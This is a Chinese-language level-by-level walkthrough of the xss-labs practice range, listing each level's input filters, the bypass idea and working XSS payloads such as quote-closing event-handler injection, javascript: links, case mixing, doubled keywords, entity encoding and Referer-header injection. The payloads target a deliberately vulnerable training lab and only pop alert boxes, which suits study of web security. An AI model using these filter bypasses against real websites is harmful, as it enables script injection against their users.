下载地址
https://github.com/do0dl3/xss-labs
通过网盘分享的文件:xss-labs-master.zip
链接: https://pan.baidu.com/s/1KWQFyy2ynWkIAERK3aK3-Q?pwd=xbaq 提取码: xbaq
第一关
- 无过滤
- 无限制
第二关
**规则:**使用了HTMLspecialchars()函数 <>'“等被转义为HTML字符实体
**思路:**并没有对敏感字符进行编码和过滤,闭合value的引号,以及后面的引号或者再加上右边的//注释原先的”>
Payload:
"><script>alert('xss')</script>//
"onmouseover="alert(1)
第三关
**规则:**使用了HTMLspecialchars()函数对<>'"等被转义为HTML字符实体
**思路:**使用了,单引号闭合,闭合前后单引号。添加on开头的属性事件,例如:onmouseover,onfocus等
Payload:
'onmouseover='alert(1)
'onfocus=javascript:alert('xss') > //
第四关
规则: 删除了<>等
**思路:**闭合前后双引号,添加属性事件
Payload:
"onmouseover="alert(1)
"onfocus=javascript:alert('xss') //
第五关
规则:
- 对 script 的 s 和 r 进⾏了 _ 分隔
- 对 on 的 o 和 n 进⾏ _ 分隔
- 全写的转换
**思路:**闭合前后引号,构造新的标签 例如 ,添加事件属性 href
Payload:
"> <a HrEf=javascript:alert('xss') > xss</a> //
"><a href=javascript:alert(1)>1</a>
第六关
规则:
**思路:**没有进行大小写转换,可以大小写混用
Payload:
<SCriPt>alert('xss')</scRiPt>
"Onmouseover="alert(1)
第七关
规则:
- 过滤了(删除)on、script
- 过滤了(删除)src、data、href
- 对参数转换为⼩写
**思路:**双写嵌套script,或on
Payload:
"><scriscriptpt>alert(111)</scriscriptpt>
"oonnmouseover="alert(1)
第八关
规则:
**思路:**将payload转换为html编码
Payload:
javascript:a&#
x6c;ert(1)
第九关
规则:
**思路:**转换为html编码,再加上http://的参数(注释掉)
Payload:
javascript:alert(/xss/)/*http://*/
javascript:alert('xss')//http://www.baidu.com
第十关
规则:
- 标签隐藏
- 删除t_sort参数值中的<和>
**思路:**审计元素⾥有type="hidden"属性隐藏域, 隐藏的传参,闭合语句,构造 type 为 text 属性和 oncl
ick 事件 尝试每个传参
Payload:
" type='text' onclick="alert(1)
" type='text' onclick="javascript:alert(1)
第十一关
规则:
- 标签隐藏
- 删除t_sort等参数值中的<和>
- 转义字符
思路:
第⼗⼀关,⽐第⼗关多了⼀个 ref的参数,通过服务器返回打印从哪路来,但是传参在js脚本
可以使⽤burp构造referer头,结合 闭合语句 及属性事件。
源码中的input有type="hidden"属性隐藏域,需要构建新的type类型
Payload:
referer:" type='text' onclick="javascript:alert(1)
"type="text" onmouseover="javascript:alert(1)
第十二关
数据包内user-agent传参,返还在⻚⾯内
第十三关
和cookie相关
第十四关
iframe调⽤的⽂件来实现xss注⼊
第十五关
ng-app的ng-include包含angular js,引⽤外部⽂件
构造src传参
第十六关
规则:
1.把script替换为空格
2.转义
3.删除/
4.空隙会被 填充
思路:
使用单标签xss,并使用回车符URL编码%0a
注意:html编码的回车是无效的
HTML编码对标签名 部分属性等无带入